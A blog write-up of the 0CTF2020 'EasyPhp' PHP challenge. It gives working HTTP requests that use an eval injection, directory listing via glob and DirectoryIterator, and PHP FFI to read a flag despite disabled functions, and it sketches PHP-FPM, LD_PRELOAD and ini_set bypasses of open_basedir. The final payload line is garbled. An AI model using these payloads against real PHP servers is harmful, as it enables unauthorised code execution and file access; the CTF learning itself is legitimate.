Recently, I got opportunity to participate in 0CTF2020 Quals. It was really a good CTF focused on Intermediate to Advanced participants. I was only able to solve only one PHP challenge during CTF named EasyPhp.

Recon >

First things first, Always Recon the chall. So, on visiting the Provided URL http://pwnable.org:19260/ for the challenge, We get this piece of php code

<?php
    if (isset($_GET['rh'])) {
        eval($_GET['rh']);
    } else {
        show_source(__FILE__);
    }
?>

Now, On looking at the source code, It immediately clicked that there is some sort of Code Injection using parameter rh. On trying commands like system, exec, popen, We didn’t get anything executed.So, we must have to get our hands on the internals.

Now, we check the settings of back-end php application, For that we have to take a look at phpinfo();. On Using phpinfo(); as param in var rh, http://pwnable.org:19260/rh=phpinfo();

We get to know that dangerous functions that we tried to use before were disabled, Have a look at disabled_functions

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,d

Hmm! So, We need to find some other ways. Doing a bit of research and reading writeups , we get know a lot about php exploits. Let’s discuss various strategies we thought to exploit it.

Strategy >

Following exploits came up :

PHP-FPM

Bypass open_basedir()

FFI

glob + DirectoryIterator : This is not the exploit

Now, I’ll explain a bit of above and unintended solutions that came during CTF in the later section Conclusion, Let’s first discuss how I solved this challenge.

Exploit >

We first use glob + DirectoryIterator to literally scan the whole server, After doing this, we found interesting things in / Directory with this POSTrequest:

POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

gml=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var

Cool!. So ,we find our targets flag.h and flag,so. flag.so is Dynamically Linked Shared Object and is most probably used by flag.h . So, we need to figure out the function called by flag.h .Now, to exploit further I used the evil functionality FFI which was enabled on server as per phpinfo(). For more information about this, visit Official Php Docs.

Now, We use FFI to call the method in flag.so.So, use FFI to load flag.h. Let’s try with this POST request:

POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

gml=$ffi = FFI::load("/flag.h");echo 1;

We don’t get a 500, indicates that loading through FFI works and it’s successfully loaded. But we don’t know what method there is, what the method name is, and can’t read flag.h, this is the point where I got stuck.

But reading more about FFI exploits, reveal that we can leak memory to know the method name and then call it to get the flag. I really not noted down, from where I got the script to leak method, Shame on me. But this guy also published writeup for this same challenge and described the process of leaking memory. He has also published writeups for other challenges. So, do checkout. Link to the Writeup.Now ,we have the method to be called flag_fUn3t1on_fFi();.

Now,just post this request to get the flag :

gml=$ffi = FFI : : load( " / flag. h" ) ; : : string($ffi->f1ag_fUn3t10n_fF1()));

We get our flag as response :

HTTP/I.1 200 0K
Server: nginx
Date: Mon, 29 Jun 2020 11:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.5
Content-Length: 42

string(27) "flag{FFi_1s_qu1T3_DANg10uS}"

Hurray! We got the flag flag{FFi_1s_qu1T3_DANg10uS}

Conclusion >

The intended solutions of this challenge were :

PHP-FPM

FFI

We done this through FFI, but we can also do this through php-Fastcgi/php-fpm. You can read more about PHP-FPM here. The way to exploit via fast-cgi is to first find the sock file to connect .i.e /var/run/php-fpm.sock using glob+DirectoryIterator . Now, You can forge fastcgi to bypass some security policies like open_basedir by using PHP_VALUE to change global php settings like open_basedir. In our case, primary target is to open-basedir so that we can read files in root folder. For Script and more info, Visit. I have added file containing all the recon data here.

Unintended solutions : As the organizers had setup this challenge in a shared php environment. So, if someone modifies open_basedir restriction from /var/www/html to /. Then, It gets modified for all participants and hence, anybody can directly use file_get_contents to get flag.so where the flag is in plain-text.

Learning >

Other Exploits :

LD_PRELOAD if putenv is not disabled, can be used to exploit the server.

ini_set if not disabled, can be used to change open_basedir and read contents from any directory, here, root / directory.

ImageMagick ,a php image library if used and enabled, can also be used to bypass open_basedir restriction.

Feedback >

Thanks for reading and visiting my blog. Please don’t mind by bad English or grammatical errors. Please do comments if You find it interesting or something went wrong!. I read all the comments. Thanks Again! Have a good Day!